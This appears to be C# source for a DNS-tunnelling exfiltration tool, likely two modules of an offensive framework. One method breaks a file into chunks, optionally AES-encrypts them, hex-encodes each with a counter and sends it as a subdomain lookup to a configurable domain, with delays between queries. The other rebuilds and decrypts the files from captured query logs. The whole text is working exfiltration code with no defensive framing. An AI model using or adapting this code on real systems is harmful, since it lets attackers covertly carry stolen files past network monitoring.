public override bool Run()
{
if (!File.Exists)
{
return(false);
}
if (!OutFolder.Exists)
{
return(false);
}
AESHelper aes = null;
if (AESHelper.IsConfigured(this))
{
aes = new AESHelper(this);
WriteInfo("Using AES Encryption");
}
else
{
WriteError("Read in RawMode");
}
WriteInfo("Start reading file ...");
Dictionary <string, List <packet> > dic = new Dictionary <string, List <packet> >();
using (Stream fs = (Stream)File.OpenRead())
using (StreamReader sr = new StreamReader(fs))
{
string line;
while ((line = sr.ReadLine()) != null)
{
string fileId;
packet packet;
if (!parse(line, out fileId, out packet))
{
continue;
}
if (dic.ContainsKey(fileId))
{
dic[fileId].Add(packet);
}
else
{
List <packet> pc = new List <packet>();
pc.Add(packet);
dic.Add(fileId, pc);
}
}
}
WriteInfo("Located " + dic.Keys.Count.ToString() + (dic.Keys.Count == 1 ? " file" : " files"));
if (dic.Keys.Count > 0)
{
WriteInfo("Reordering packets ...");
foreach (string k in dic.Keys)
{
List <packet> p = dic[k];
p.Sort(sortPacket);
}
WriteInfo("Dump files ...");
foreach (string k in dic.Keys)
{
List <packet> lp = dic[k];
string path = OutFolder + System.IO.Path.DirectorySeparatorChar.ToString() + k + ".dat";
using (MemoryStream ms = new MemoryStream())
{
foreach (packet p in lp)
{
ms.Write(p.Data, 0, p.Data.Length);
}
if (aes != null)
{
byte[] d = aes.Decrypt(ms.ToArray());
if (d == null)
{
WriteError("Error in decrypt process");
continue;
}
System.IO.File.WriteAllBytes(path, d);
}
else
{
System.IO.File.WriteAllBytes(path, ms.ToArray());
}
WriteInfo("Created file '" + path + "'", new FileInfo(path).Length.ToString(), ConsoleColor.Green);
}
}
}
return(true);
}
public override bool Run()
{
if (!File.Exists)
{
return(false);
}
DnsClient dns = DnsServer == null ? DnsClient.Default : new DnsClient(DnsServer, 10000);
bool ipv6 = dns.Servers[0].AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6;
// Get counter
byte[] g;
switch (Convert.ToInt32(Target["Size"]))
{
case 8: { g = BitConverterHelper.GetBytesInt64(CounterHelper.GetNextInt64()); break; }
case 4: { g = BitConverterHelper.GetBytesUInt32(CounterHelper.GetNextUInt32()); break; }
case 2: { g = BitConverterHelper.GetBytesUInt16(CounterHelper.GetNextUInt16()); break; }
case 1: { g = new byte[] { CounterHelper.GetNextByte() }; break; }
default: { g = BitConverterHelper.GetBytesInt64(DateTime.UtcNow.ToBinary()); break; }
}
// Copy file id
int headerLength = g.Length + 4; // packetNum
byte[] data = new byte[63 / 2]; // hex 2 bytes per byte
Array.Copy(g, data, g.Length);
AESHelper aes = null;
if (AESHelper.IsConfigured(this))
{
aes = new AESHelper(this);
WriteInfo("Using AES Encryption");
}
else
{
WriteError("Send in RawMode");
}
WriteInfo("Start sending file ...");
byte[] crypted = null;
if (aes != null)
{
using (Stream fs = File.OpenRead())
crypted = aes.Encrypt(fs, false, null);
}
int position = 0;
using (Stream fs = (crypted == null ? (Stream)File.OpenRead() : (Stream) new MemoryStream(crypted)))
{
int total = (int)(fs.Length / (data.Length - headerLength));
if (fs.Length % (data.Length - headerLength) != 0)
{
total++;
}
WriteInfo("Sending " + (total) + " dns querys ...");
StartProgress(total);
while (true)
{
// copy counter
byte[] p = BitConverterHelper.GetBytesInt32(position);
position++;
Array.Copy(p, 0, data, headerLength - 4, 4);
// read
int lee = fs.Read(data, headerLength, data.Length - headerLength);
if (lee <= 0)
{
break;
}
// generateFile
string name = HexHelper.Buffer2Hex(data, 0, headerLength + lee) + "." + DomainName;
dns.Resolve(name, ipv6 ? RecordType.Aaaa : RecordType.A);
if (Sleep > 0)
{
Thread.Sleep(Sleep);
}
WriteProgress(position);
}
EndProgress();
}
WriteInfo("Done");
return(true);
}
